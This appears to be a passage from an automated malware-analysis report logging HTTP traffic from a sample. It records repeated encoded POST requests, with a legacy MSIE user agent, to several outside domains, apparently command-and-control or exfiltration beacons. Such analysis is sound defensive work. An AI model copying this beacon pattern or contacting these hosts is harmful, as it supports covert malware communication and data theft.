42 4f 2f 50 62 38 4d 32 41 38 31 79 5a 6b 58 79 78 54 42 68 54 2f 61 47 67 47 59 33 59 33 45 66 69 76 30 2f 35 78 32 4d 69 4a 6b 72 35 6c 53 72 6f 73 42 6e 53 48 63 38 6b 58 72 61 34 66 4a 52 2f 76 33 64 63 41 47 54 39 73 77 55 6c 4e 41 6b 5a 65 74 30 68 36 65 71 68 44 79 79 50 4c 2f 61 4d 78 33 47 55 51 44 51 74 37 38 46 30 44 2f 55 7a 76 67 56 7a 53 6a 76 53 79 76 51 51 67 74 77 3d 3d Data Ascii: rGgtoGdhSfiq9a+XFu8GmDB4Sh7dxa9hi8scLJnTTeY6SJeSDcaIr4RWOJkQf4F2w8uM3SRIImL4ehNejX7TG9u1bqxZayfQC7CrDRPOw1UyR43y9bS0WIxnRh0+hR31yLSjZ7bfNJggHMZWHWbowwukIL6uv6/7apxMSTGVVJ7kaNA8VQLKUF1gooleowkCjhZf/Zk4xArc3XA8E3odTo1AmEavGVUo8yTLAXYN6saTqag3q+pslkRiGAVi5Fy/sBWGZ60klDHIq1NMdY2W59rO6JgpiCCLtTtfKXg/mMBvUo6X9TqecegKKXzotunxk1vvvqJ8JqTDAiU7l1S7z6VjrBRqKJKCoxiWc+qNiK2ju+6lxQ1eIykojecWD8Rzi4ixv5XcKn+gWZ4cmoC5C2MTgOwuSGNOEWLL9lXLUo9bLlc6M/c5uXxI4OY7ycBO/Pb8M2A81yZkXyxTBhT/aGgGY3Y3Efiv0/5x2MiJkr5lSrosBnSHc8kXra4fJR/v3dcAGT9swUlNAkZet0h6eqhDyyPL/aMx3GUQDQt78F0D/UzvgVzSjvSyvQQgtw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.edimart.huCache-Control: no-cacheData Raw: 2b 42 55 52 4b 34 4b 45 58 76 6a 6c 4a 51 48 44 64 58 6d 35 63 67 56 5a 78 4e 2b 53 51 67 2b 35 31 67 71 46 31 62 57 57 75 48 63 76 58 66 34 77 51 49 6d 54 71 4e 63 30 4b 4b 47 51 45 65 50 4e 6b 53 59 48 64 4b 2f 53 4b 6f 32 5a 4d 54 48 73 48 6f 57 76 61 2f 52 61 72 39 36 74 2f 74 50 44 74 6d 70 45 57 70 46 65 75 50 55 38 62 4d 71 64 55 56 6c 6d 51 33 75 59 39 73 68 78 54 57 76 72 66 35 6b 6f 72 30 55 76 75 32 51 6a 53 49 4b 35 35 62 55 5a 50 4b 4e 31 42 39 36 44 4c 37 76 50 38 57 6d 58 70 4c 42 64 78 53 48 77 38 6e 51 43 4e 57 30 4b 48 74 65 75 44 32 6a 36 51 35 37 75 66 6c 64 6d 78 73 52 4f 59 73 4b 69 4c 70 59 33 75 55 6e 46 48 74 50 6c 62 7a 77 45 41 67 78 37 4d 59 4c 61 70 45 52 69 6f 6b 67 32 42 31 43 49 4d 51 6f 66 65 36 42 41 72 49 42 76 74 38 78 69 46 67 6f 38 34 62 2b 6c 4a 50 56 45 76 5a 46 6a 37 37 42 33 56 39 57 51 47 36 68 78 31 42 35 52 4d 49 79 4f 66 63 56 48 71 34 66 52 64 50 70 56 4d 69 70 6c 73 37 35 61 78 53 4a 6e 47 37 31 6e 2b 30 44 54 61 76 4f 48 4f 73 37 56 4c 51 6f 33 4c 41 63 6a 46 4f 50 55 4c 79 33 46 43 76 62 56 72 4a 44 63 46 79 59 6a 31 36 30 54 67 4c 73 74 58 57 38 6b 6d 4e 62 56 66 79 66 76 43 2b 64 76 73 7a 77 6c 78 7a 35 47 7a 47 43 71 2b 4e 58 74 32 67 35 69 32 2b 63 4c 4e 79 48 4b 4b 2f 45 6b 71 78 34 44 71 44 56 74 4f 47 39 6a 4b 53 7a 30 34 45 51 30 35 69 44 6c 69 61 57 52 61 79 78 65 37 53 7a 62 32 54 4f 2b 70 78 35 50 48 54 6b 51 71 61 66 41 45 50 33 56 72 6f 42 79 54 4c 76 62 6c 72 47 36 6b 43 74 61 77 46 35 41 58 6d 53 76 61 6b 4d 62 35 61 63 4c 47 6b 34 4c 2b 30 5a 47 6a 74 79 6e 36 71 58 39 39 50 77 6b 7a 35 4b 2f 47 39 76 33 79 5a 52 61 4f 30 37 77 32 4c 64 36 34 47 59 42 35 76 48 41 42 64 4e 7a 44 31 2b 32 58 53 68 58 6b 73 76 78 52 52 50 45 6d 61 4e 77 49 4a 36 64 34 30 6b 3d Data Ascii: +BURK4KEXvjlJQHDdXm5cgVZxN+SQg+51gqF1bWWuHcvXf4wQImTqNc0KKGQEePNkSYHdK/SKo2ZMTHsHoWva/Rar96t/tPDtmpEWpFeuPU8bMqdUVlmQ3uY9shxTWvrf5kor0Uvu2QjSIK55bUZPKN1B96DL7vP8WmXpLBdxSHw8nQCNW0KHteuD2j6Q57ufldmxsROYsKiLpY3uUnFHtPlbzwEAgx7MYLapERiokg2B1CIMQofe6BArIBvt8xiFgo84b+lJPVEvZFj77B3V9WQG6hx1B5RMIyOfcVHq4fRdPpVMipls75axSJnG71n+0DTavOHOs7VLQo3LAcjFOPULy3FCvbVrJDcFyYj160TgLstXW8kmNbVfyfvC+dvszwlxz5GzGCq+NXt2g5i2+cLNyHKK/Ekqx4DqDVtOG9jKSz04EQ05iDliaWRayxe7Szb2TO+px5PHTkQqafAEP3VroByTLvblrG6kCtawF5AXmSvakMb5acLGk4L+0ZGjtyn6qX99Pwkz5K/G9v3yZRaO07w2Ld64GYB5vHABdNzD1+2XShXksvxRRPEmaNwIJ6d40k=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.naoi-a.comCache-Control: no-cacheData Raw: 70 53 6b 2f 44 6b 79 33 73 50 68 47 30 7a 31 57 74 34 72 63 4c 46 39 34 65 4f 49 6b 39 6e 79 77 51 42 31 69 53 32 70 64 44 4c 4f 45 37 56 4d 79 39 4a 78 39 6e 74 70 45 6a 38 67 75 63 4c 6d 79 68 31 72 76 6c 68 2f 2b 47 2f 4b 5a 64 6e 6b 6d 71 73 30 33 5a 67 64 61 4a 57 44 32 53 76 34 70 66 70 31 2f 51 54 56 6c 63 7a 69 62 33 42 2b 6c 30 63 69 51 37 6c 58 4f 64 43 67 2f 51 37 55 72 32 41 52 45 52 34 76 62 59 36 31 47 67 32 65 34 50 6d 4a 38 6b 63 59 67 63 42 52 73 32 54 4c 64 44 44 45 6f 63 4d 2b 42 46 2b 6f 6e 77 50 79 64 52 48 36 71 51 65 2b 75 6b 53 62 55 79 68 55 50 57 6d 4e 4e 63 43 7a 57 7a 6d 79 32 36 6c 76 5a 43 74 61 39 4f 30 39 72 50 4c 46 5a 4f 30 42 72 69 58 62 34 72 70 53 44 58 2b 4b 4e 67 34 77 4d 65 39 34 50 6d 2f 6a 78 35 32 49 48 53 4f 76 2f 72 74 4a 70 52 55 54 6d 4b 41 51 42 2b 42 72 69 33 59 5a 79 54 55 51 77 49 61 70 65 59 4b 47 4a 63 35 78 52 42 49 6a 35 64 46 31 49 76 70 65 55 46 61 4d 39 68 75 52 58 4e 59 5a 33 47 78 52 69 46 70 45 70 67 65 33 2f 45 43 2f 6c 50 72 35 4e 44 31 63 53 78 53 33 36 71 41 47 71 63 43 2f 31 65 57 49 4e 70 64 56 71 78 47 68 63 4f 77 45 31 63 53 4e 65 57 6d 51 57 39 62 6e 51 64 6b 51 4f 7a 4a 54 6e 58 6f 7a 70 4e 79 61 53 2f 32 58 44 73 63 32 73 64 38 31 34 45 73 41 51 58 32 44 5a 2f 45 46 78 67 4c 35 5a 6d 32 62 31 35 73 62 38 4b 70 39 6d 68 56 76 49 32 68 6c 79 71 79 74 64 48 69 79 4c 4c 64 38 4d 46 7a 37 2f 69 45 53 64 6b 45 75 52 51 72 55 4d 39 41 66 4c 32 55 34 56 64 38 48 6e 5a 47 5a 53 43 42 4f 6b 79 35 50 52 61 48 64 30 42 4c 44 42 38 6a 6c 32 59 71 66 41 41 36 57 6d 4d 68 59 52 39 37 39 78 77 78 6d 79 79 46 68 4f 61 50 58 39 47 35 62 44 52 72 4b 73 55 69 76 69 5a 58 63 6a 33 48 4d 4c 78 31 76 79 2b 6a 72 59 61 4e 6a 61 44 53 79 6c 6f 53 77 3d Data Ascii: pSk/Dky3sPhG0z1Wt4rcLF94eOIk9nywQB1iS2pdDLOE7VMy9Jx9ntpEj8gucLmyh1rvlh/+G/KZdnkmqs03ZgdaJWD2Sv4pfp1/QTVlczib3B+l0ciQ7lXOdCg/Q7Ur2ARER4vbY61Gg2e4PmJ8kcYgcBRs2TLdDDEocM+BF+onwPydRH6qQe+ukSbUyhUPWmNNcCzWzmy26lvZCta9O09rPLFZO0BriXb4rpSDX+KNg4wMe94Pm/jx52IHSOv/rtJpRUTmKAQB+Bri3YZyTUQwIapeYKGJc5xRBIj5dF1IvpeUFaM9huRXNYZ3GxRiFpEpge3/EC/lPr5ND1cSxS36qAGqcC/1eWINpdVqxGhcOwE1cSNeWmQW9bnQdkQOzJTnXozpNyaS/2XDsc2sd814EsAQX2DZ/EFxgL5Zm2b15sb8Kp9mhVvI2hlyqytdHiyLLd8MFz7/iESdkEuRQrUM9AfL2U4Vd8HnZGZSCBOky5PRaHd0BLDB8jl2YqfAA6WmMhYR979xwxmyyFhOaPX9G5bDRrKsUiviZXcj3HMLx1vy+jrYaNjaDSyloSw=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.wifi4all.nlCache-Control: no-cacheData Raw: 47 7a 37 33 59 2f 77 2b 6b 76 67 68 71 63 49 4b 70 34 36 51 52 34 39 50 6e 6c 6d 55 48 7a 31 76 38 4d 66 41 44 54 51 4a 35 68 58 6e 52 68 62 47 79 37 67 47 49 39 33 35 56 7a 63 6d 64 67 2f 72 71 59 72 34 69 58 4d 6f 74 46 77 56 69 79 65 75 72 54 4d 74 67 57 46 6c 2f 74 44 47 4e 41 52 73 59 42 7a 79 77 39 6f 55 34 67 72 63 35 6c 34 32 6c 4d 54 67 36 6f 35 53 49 6f 77 32 7a 6c 5a 31 31 73 6f 47 67 59 4c 58 57 66 52 5a 6c 5a 30 5a 32 33 4c 6a 6e 49 53 76 2f 69 4a 6f 2f 49 35 44 50 6f 33 52 5a 47 59 57 70 74 75 4d 77 32 78 33 35 42 4f 4c 33 4e 33 45 2f 7a 4c 32 68 7a 77 61 4f 6e 46 30 68 6b 46 70 31 2b 5a 32 61 73 50 45 46 78 71 6c 4a 70 73 75 4b 71 4b 4f 57 4b 41 55 53 49 59 47 52 64 38 2f 37 55 56 45 44 54 59 35 4c 50 70 5a 70 32 71 31 2b 33 61 44 41 53 74 38 55 76 74 53 65 4f 7a 69 6d 30 41 70 63 50 70 64 75 52 45 37 4f 48 44 6d 58 6e 37 34 4e 6b 62 6d 33 42 71 36 49 61 31 72 70 72 6b 75 59 33 73 4c 36 31 37 78 42 31 63 44 58 53 48 61 37 62 55 2b 41 41 36 56 48 7a 30 31 75 79 6c 31 70 48 64 33 2b 73 4c 54 47 54 66 4e 7a 77 31 2b 50 67 37 66 32 6c 39 43 46 39 69 31 69 57 61 70 47 5a 4a 61 30 6f 32 6d 65 78 72 4f 6f 56 57 31 33 79 50 6b 63 72 2b 30 66 41 48 46 6d 35 47 59 75 73 4c 42 54 6f 33 37 50 2f 6c 75 59 63 4e 70 6a 39 4f 70 4e 33 69 6d 77 49 32 45 73 4f 4c 4c 76 76 78 56 6d 34 79 37 42 4d 61 49 67 55 77 77 5a 36 79 4f 52 58 2b 68 57 4f 2b 6d 62 46 78 70 2f 51 54 46 30 63 6b 47 57 77 4a 55 66 77 4a 50 75 6e 56 6f 55 69 43 31 30 70 66 62 52 4c 55 6f 49 46 32 2b 67 41 58 68 2b 2b 77 48 61 69 59 58 74 62 50 68 76 2f 5a 61 45 42 46 67 6b 66 33 6e 55 69 36 57 51 76 32 35 57 71 61 64 64 6d 52 62 47 77 58 63 55 68 4b 6d 63 46 43 6b 58 57 66 30 37 66 68 42 2f 67 3d 3d Data Ascii: Gz73Y/w+kvghqcIKp46QR49PnlmUHz1v8MfADTQJ5hXnRhbGy7gGI935Vzcmdg/rqYr4iXMotFwViyeurTMtgWFl/tDGNARsYBzyw9oU4grc5l42lMTg6o5SIow2zlZ11soGgYLXWfRZlZ0Z23LjnISv/iJo/I5DPo3RZGYWptuMw2x35BOL3N3E/zL2hzwaOnF0hkFp1+Z2asPEFxqlJpsuKqKOWKAUSIYGRd8/7UVEDTY5LPpZp2q1+3aDASt8UvtSeOzim0ApcPpduRE7OHDmXn74Nkbm3Bq6Ia1rprkuY3sL617xB1cDXSHa7bU+AA6VHz01uyl1pHd3+sLTGTfNzw1+Pg7f2l9CF9i1iWapGZJa0o2mexrOoVW13yPkcr+0fAHFm5GYusLBTo37P/luYcNpj9OpN3imwI2EsOLLvvxVm4y7BMaIgUwwZ6yORX+hWO+mbFxp/QTF0ckGWwJUfwJPunVoUiC10pfbRLUoIF2+gAXh++wHaiYXtbPhv/ZaEBFgkf3nUi6WQv25WqaddmRbGwXcUhKmcFCkXWf07fhB/g==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 552User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.maktraxx.comCache-Control: no-cacheData Raw: 6e 50 4b 62 2b 6d 6c 33 4a 50 6c 66 77 55 6c 37 4f 4e 6b 64 46 49 4b 37 52 47 6b 48 2b 61 45 55 72 52 41 42 30 6a 61 6e 33 70 4e 56 4b 65 34 66 79 5a 43 4f 32 2f 73 50 78 4e 52 62 35 57 31 68 2b 71 57 68 65 45 46 35 44 6c 47 56 49 2b 73 61 32 72 6e 4a 6d 4e 61 74 43 57 4c 33 42 4b 2b 6d 74 54 30 76 33 63 4d 4d 42 79 49 72 4f 6a 70 70 2b 41 51 49 54 39 2b 4a 41 53 56 55 74 50 41 32 77 70 43 73 62 48 52 35 4e 34 5a 59 6a 7a 2f 50 52 6a 58 56 68 45 5a 38 32 77 78 56 34 71 75 6b 55 6b 2f 41 75 72 4c 59 62 48 68 66 73 68 70 44 48 36 4e 54 2f 30 35 56 6e 47 36 34 4f 66 34 41 50 36 42 42 36 53 63 79 33 69 75 43 6b 39 76 72 75 48 35 77 59 6e 63 68 5a 4c 30 58 4a 61 43 79 5a 48 2f 6a 53 46 32 2f 77 39 32 73 4c 4b 57 2b 78 4b 48 6f 59 64 49 38 65 52 73 4f 41 53 73 75 30 67 31 53 76 53 6c 41 5a 6f 7a 62 73 6c 62 5a 77 49 37 46 66 52 49 72 4b 48 48 37 6a 6f 4e 2f 45 6c 42 74 4a 42 4b 56 54 6a 67 74 64 31 65 61 71 31 61 4e 2f 4a 63 39 69 5a 32 73 5a 52 76 32 56 4a 4b 31 58 57 49 49 49 62 6f 51 31 67 59 73 74 2f 4d 2b 69 71 75 54 2f 6b 4b 46 67 59 4b 2f 4c 67 42 6e 30 62 70 75 68 49 32 35 41 58 7a 37 73 45 36 44 4d 2b 4a 35 4a 35 33 41 74 31 37 51 73 4f 75 62 7a 74 55 42 4f 65 68 6a 6b 65 4c 54 7a 61 38 79 4b 7a 30 6d 4e 47 37 34 6b 65 33 64 30 4a 77 78 2b 41 74 52 58 6e 43 67 6f 62 71 76 75 42 68 49 42 33 76 6e 61 51 37 51 32 30 75 36 62 31 73 76 2b 59 4f 51 4a 36 30 42 67 79 78 62 51 4d 37 74 44 44 53 37 36 6c 4c 33 30 38 61 69 7a 68 36 4e 63 77 50 61 76 4d 45 59 31 41 70 76 77 6b 4a 33 6b 43 75 4f 57 58 32 2f 71 66 62 39 79 43 44 54 58 57 4d 46 51 79 30 33 70 50 51 41 34 5a 57 57 70 37 46 2b 6e 45 37 39 43 4c 57 77 43 64 57 52 36 65 63 6c Data Ascii: nPKb+ml3JPlfwUl7ONkdFIK7RGkH+aEUrRAB0jan3pNVKe4fyZCO2/sPxNRb5W1h+qWheEF5DlGVI+sa2rnJmNatCWL3BK+mtT0v3cMMByIrOjpp+AQIT9+JASVUtPA2wpCsbHR5N4ZYjz/PRjXVhEZ82wxV4qukUk/AurLYbHhfshpDH6NT/05VnG64Of4AP6BB6Scy3iuCk9vruH5wYnchZL0XJaCyZH/jSF2/w92sLKW+xKHoYdI8eRsOASsu0g1SvSlAZozbslbZwI7FfRIrKHH7joN/ElBtJBKVTjgtd1eaq1aN/Jc9iZ2sZRv2VJK1XWIIIboQ1gYst/M+iquT/kKFgYK/LgBn0bpuhI25AXz7sE6DM+J5J53At17QsOubztUBOehjkeLTza8yKz0mNG74ke3d0Jwx+AtRXnCgobqvuBhIB3vnaQ7Q20u6b1sv+YOQJ60BgyxbQM7tDDS76lL308aizh6NcwPavMEY1ApvwkJ3kCuOWX2/qfb9yCDTXWMFQy03pPQA4ZWWp7F+nE79CLWwCdWR6ecl
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fcwcvt.orgCache-Control: no-cacheData Raw: 32 59 70 59 32 7a 64 6b 50 50 6e 79 2b 72 36 72 70 76 54 4d 76 59 41 58 4f 6d 48 74 47 49 78 71 57 78 4f 61 6f 65 7a 45 48 43 63 4d 6d 4d 61 31 69 55 4d 6f 6c 57 53 71 73 31 64 44 62 73 57 6f 41 45 57 46 58 63 45 6e 6f 46 62 63 59 59 66 32 4e 65 4d 72 42 6a 68 35 78 66 79 46 53 51 53 73 6c 37 42 71 39 70 4f 75 58 52 55 59 56 6b 54 41 63 53 30 51 74 34 31 49 61 5a 67 6a 35 38 72 39 68 2f 77 5a 59 75 7a 32 54 50 6e 65 65 4c 36 46 69 6e 33 5a 65 73 51 2f 32 59 4b 50 43 70 6d 52 57 44 31 57 61 45 61 36 61 6f 4f 43 4b 4b 2b 41 77 6f 44 39 7a 36 32 2b 74 67 75 5a 46 32 7a 4f 77 76 6e 6e 6b 78 63 44 51 77 59 59 7a 44 51 4c 49 30 6f 6f 64 42 6d 52 55 63 61 68 63 6d 61 6f 55 39 4f 6c 2b 53 69 66 31 54 4f 6e 30 41 64 33 31 6c 4a 43 78 32 65 56 58 32 52 75 56 56 6e 48 63 55 47 66 6b 4b 37 33 48 63 43 77 37 6a 34 55 31 6f 2f 4b 59 61 63 59 74 74 69 6e 42 4a 38 68 4e 33 6a 66 4d 32 64 6e 51 69 5a 6e 36 5a 61 34 6e 46 6d 56 69 39 50 41 6b 30 59 4d 72 33 6e 75 6d 6a 54 59 36 4b 4a 55 78 69 37 48 77 62 36 49 43 33 65 69 6d 30 4a 38 38 53 4f 74 4e 58 53 57 61 48 4e 61 77 68 53 74 54 76 6a 48 67 6f 4f 46 6d 31 50 37 5a 61 49 39 4d 66 6f 79 48 34 4d 53 46 53 41 6f 30 46 4d 52 2f 4e 79 62 2b 4f 6e 43 59 67 4d 2b 4b 7a 30 4c 39 59 4c 70 4c 75 7a 50 30 59 68 61 54 78 46 53 55 6d 74 63 58 6c 34 6e 52 63 57 73 49 4b 48 75 4a 58 68 61 68 4e 7a 42 63 41 76 47 4d 34 4b 35 5a 46 30 2f 38 6f 39 57 42 35 34 51 54 67 61 42 62 73 4d 78 59 41 45 43 44 6a 50 59 52 6e 50 6c 54 62 58 65 74 2b 65 66 55 41 36 65 55 77 73 63 37 30 54 74 65 2f 47 58 68 4b 78 74 6c 36 43 58 35 77 76 69 55 39 4e 67 47 4b 4f 34 4e 66 69 73 5a 36 37 48 31 63 65 79 38 71 6f 57 4c 38 4c 4f 32 2f 43 55 31 77 32 79 77 68 65 74 6d 7a 79 49 69 77 3d 3d Data Ascii: 2YpY2zdkPPny+r6rpvTMvYAXOmHtGIxqWxOaoezEHCcMmMa1iUMolWSqs1dDbsWoAEWFXcEnoFbcYYf2NeMrBjh5xfyFSQSsl7Bq9pOuXRUYVkTAcS0Qt41IaZgj58r9h/wZYuz2TPneeL6Fin3ZesQ/2YKPCpmRWD1WaEa6aoOCKK+AwoD9z62+tguZF2zOwvnnkxcDQwYYzDQLI0oodBmRUcahcmaoU9Ol+Sif1TOn0Ad31lJCx2eVX2RuVVnHcUGfkK73HcCw7j4U1o/KYacYttinBJ8hN3jfM2dnQiZn6Za4nFmVi9PAk0YMr3numjTY6KJUxi7Hwb6IC3eim0J88SOtNXSWaHNawhStTvjHgoOFm1P7ZaI9MfoyH4MSFSAo0FMR/Nyb+OnCYgM+Kz0L9YLpLuzP0YhaTxFSUmtcXl4nRcWsIKHuJXhahNzBcAvGM4K5ZF0/8o9WB54QTgaBbsMxYAECDjPYRnPlTbXet+efUA6eUwsc70Tte/GXhKxtl6CX5wviU9NgGKO4NfisZ67H1cey8qoWL8LO2/CU1w2ywhetmzyIiw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cokocoko.comCache-Control: no-cacheData Raw: 65 71 6c 4b 38 6b 4d 79 4a 50 6d 75 75 69 48 49 53 6a 4c 58 4e 32 78 70 37 63 58 70 76 65 39 66 4a 2b 52 2f 6a 6b 6b 38 41 4f 77 77 4b 6c 2f 35 4c 32 68 36 46 62 69 45 44 59 79 54 5a 49 42 4a 39 42 66 73 70 66 6c 78 63 50 72 35 4e 63 75 55 41 69 62 30 4a 56 61 4b 72 54 42 49 30 51 6d 5a 36 62 33 66 39 63 72 48 74 76 35 6d 30 66 77 4a 62 38 30 6b 5a 36 68 7a 68 44 46 70 76 38 4e 77 56 51 38 57 76 7a 46 76 39 70 69 6c 44 30 49 77 74 4a 75 58 4c 6d 56 42 69 4a 6e 64 68 51 7a 51 64 77 70 79 4b 57 39 63 55 42 32 50 44 59 62 37 58 54 41 36 2f 53 73 75 79 71 72 4c 78 70 4a 77 43 44 54 68 6b 2f 49 38 75 36 62 2f 6a 66 6c 4e 71 48 2b 71 64 44 4d 4f 67 31 76 74 4c 73 33 74 77 39 44 39 31 59 78 4d 6f 6c 6f 41 75 49 64 75 6d 6f 74 46 53 2f 35 37 73 47 43 54 52 30 70 50 45 33 65 68 73 76 75 77 77 6c 30 73 66 78 79 46 58 76 57 30 4f 2b 47 67 7a 43 42 6c 74 66 30 41 59 70 31 33 37 6b 50 61 50 78 7a 7a 48 36 71 6c 69 54 34 7a 32 34 55 44 31 58 67 6b 6f 50 77 6b 4f 78 76 78 75 61 36 44 41 2b 4b 50 76 48 57 74 41 30 66 63 45 76 69 68 41 6e 4f 7a 73 34 6b 67 35 37 49 44 33 30 48 33 43 77 57 54 55 53 56 30 57 54 7a 73 6a 6d 4a 79 37 4c 67 71 64 64 61 4d 76 54 52 68 47 48 35 58 57 45 64 37 49 35 70 4d 56 2b 55 4c 2b 4d 52 74 2f 59 56 48 39 6f 68 49 4f 41 58 65 54 46 78 30 2f 54 35 76 32 71 53 7a 39 59 45 46 47 73 59 45 68 31 75 52 4f 33 6b 46 70 36 61 48 55 73 4d 6b 71 48 44 66 62 71 5a 42 69 75 48 30 6e 54 74 31 37 64 32 54 4c 38 6c 79 77 6b 4d 33 42 4f 64 49 58 6a 47 57 57 44 79 55 69 30 47 6b 34 6f 70 68 35 66 4a 4a 79 52 72 46 34 64 67 75 5a 6d 52 74 76 31 6a 5a 63 59 4d 50 42 4c 30 56 4a 5a 6d 42 69 55 35 49 4a 75 41 77 76 4f 63 42 4b 6c 53 63 6d 7a 5a 36 2b 37 30 3d Data Ascii: eqlK8kMyJPmuuiHISjLXN2xp7cXpve9fJ+R/jkk8AOwwKl/5L2h6FbiEDYyTZIBJ9BfspflxcPr5NcuUAib0JVaKrTBI0QmZ6b3f9crHtv5m0fwJb80kZ6hzhDFpv8NwVQ8WvzFv9pilD0IwtJuXLmVBiJndhQzQdwpyKW9cUB2PDYb7XTA6/SsuyqrLxpJwCDThk/I8u6b/jflNqH+qdDMOg1vtLs3tw9D91YxMoloAuIdumotFS/57sGCTR0pPE3ehsvuwwl0sfxyFXvW0O+GgzCBltf0AYp137kPaPxzzH6qliT4z24UD1XgkoPwkOxvxua6DA+KPvHWtA0fcEvihAnOzs4kg57ID30H3CwWTUSV0WTzsjmJy7LgqddaMvTRhGH5XWEd7I5pMV+UL+MRt/YVH9ohIOAXeTFx0/T5v2qSz9YEFGsYEh1uRO3kFp6aHUsMkqHDfbqZBiuH0nTt17d2TL8lywkM3BOdIXjGWWDyUi0Gk4oph5fJJyRrF4dguZmRtv1jZcYMPBL0VJZmBiU5IJuAwvOcBKlScmzZ6+70=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 556User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.pcgrate.comCache-Control: no-cacheData Raw: 78 70 69 32 54 35 73 72 51 50 6b 35 54 69 51 6f 73 75 77 7a 75 49 53 6b 51 46 6b 68 44 67 33 4b 2f 30 62 74 7a 68 71 72 36 4f 34 79 41 41 62 6f 58 4f 6f 65 6b 61 52 4f 4f 50 4f 62 77 4a 4e 4b 2f 75 4d 66 70 2f 50 45 34 73 4e 6f 47 55 57 74 35 36 4c 78 58 53 6d 31 50 79 6b 34 62 4e 79 64 6a 55 70 42 53 76 34 53 58 65 54 4e 74 78 73 46 59 51 36 31 45 55 37 32 6e 39 55 53 37 38 42 69 49 71 65 64 30 4e 55 70 4a 6a 41 30 6c 42 50 34 4f 35 41 76 7a 31 31 69 76 31 77 38 59 48 4d 76 79 53 36 61 53 64 30 6c 4f 6f 44 59 6a 54 55 33 39 54 52 61 6c 62 4a 45 39 46 6a 67 55 47 58 63 56 4e 64 77 4c 2f 6e 72 31 38 35 65 43 35 2f 47 31 31 76 36 79 54 45 57 6a 4b 49 75 41 71 78 4e 47 6b 42 44 45 77 67 70 46 50 6a 50 6d 76 46 6b 33 57 62 50 6f 4f 77 31 6f 35 75 79 73 4e 6d 35 6b 6e 6e 77 63 53 44 36 34 72 32 53 6b 4b 6f 6f 78 4f 4b 56 74 30 38 41 70 41 6a 53 38 4b 70 30 56 46 77 73 74 79 46 34 55 79 66 4c 42 30 77 33 4b 6d 62 77 35 47 66 52 46 44 58 49 33 37 35 2b 5a 57 7a 4a 4d 65 37 44 38 67 38 4b 51 46 41 6d 4a 48 4c 32 7a 2f 6e 2b 62 47 62 63 31 31 6c 32 54 75 59 39 45 2b 4e 65 65 4c 34 6a 68 69 49 76 6e 6a 79 62 4a 67 56 45 64 5a 73 67 48 48 72 62 37 35 78 54 54 48 73 65 6a 6e 74 59 6a 30 4c 71 76 68 39 52 43 79 56 57 6b 52 50 47 7a 39 52 2b 32 6c 63 4a 75 41 38 35 71 50 48 41 30 2f 33 30 67 46 6e 6b 4d 78 4e 54 64 39 4c 6b 42 76 36 72 42 6e 69 53 70 7a 73 43 7a 30 47 73 74 6d 77 55 77 73 39 61 6d 6c 72 56 55 74 67 37 65 55 7a 61 39 56 4d 38 7a 71 50 35 71 44 78 36 71 43 55 76 5a 64 39 4f 63 37 4b 42 66 71 43 7a 44 43 6e 30 35 6b 42 4f 69 66 2b 43 39 76 38 52 4a 54 70 53 56 51 36 41 62 43 6d 72 71 74 39 51 74 4a 4a 74 4a 46 58 67 51 65 31 62 42 50 4d 3d Data Ascii: xpi2T5srQPk5TiQosuwzuISkQFkhDg3K/0btzhqr6O4yAAboXOoekaROOPObwJNK/uMfp/PE4sNoGUWt56LxXSm1Pyk4bNydjUpBSv4SXeTNtxsFYQ61EU72n9US78BiIqed0NUpJjA0lBP4O5Avz11iv1w8YHMvyS6aSd0lOoDYjTU39TRalbJE9FjgUGXcVNdwL/nr185eC5/G11v6yTEWjKIuAqxNGkBDEwgpFPjPmvFk3WbPoOw1o5uysNm5knnwcSD64r2SkKooxOKVt08ApAjS8Kp0VFwstyF4UyfLB0w3Kmbw5GfRFDXI375+ZWzJMe7D8g8KQFAmJHL2z/n+bGbc11l2TuY9E+NeeL4jhiIvnjybJgVEdZsgHHrb75xTTHsejntYj0Lqvh9RCyVWkRPGz9R+2lcJuA85qPHA0/30gFnkMxNTd9LkBv6rBniSpzsCz0GstmwUws9amlrVUtg7eUza9VM8zqP5qDx6qCUvZd9Oc7KBfqCzDCn05kBOif+C9v8RJTpSVQ6AbCmrqt9QtJJtJFXgQe1bBPM=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.gpthink.comCache-Control: no-cacheData Raw: 57 46 61 76 6b 66 4d 38 31 76 69 47 71 2f 77 6d 4f 74 31 54 4c 35 79 37 7a 62 52 5a 68 69 71 44 31 37 6b 73 52 31 39 68 33 78 77 31 66 31 2b 4f 6e 71 36 36 6d 37 7a 79 41 38 79 67 34 44 78 33 46 4f 32 63 72 57 65 53 45 62 59 67 36 58 51 33 63 57 6a 2b 62 6d 70 42 62 44 76 76 50 66 2f 6f 72 47 2b 73 59 32 38 5a 30 33 4e 2f 59 5a 33 78 31 63 55 64 31 4f 47 77 4b 74 52 75 52 67 56 39 36 52 49 71 74 61 61 2b 73 51 71 53 6a 6c 52 6c 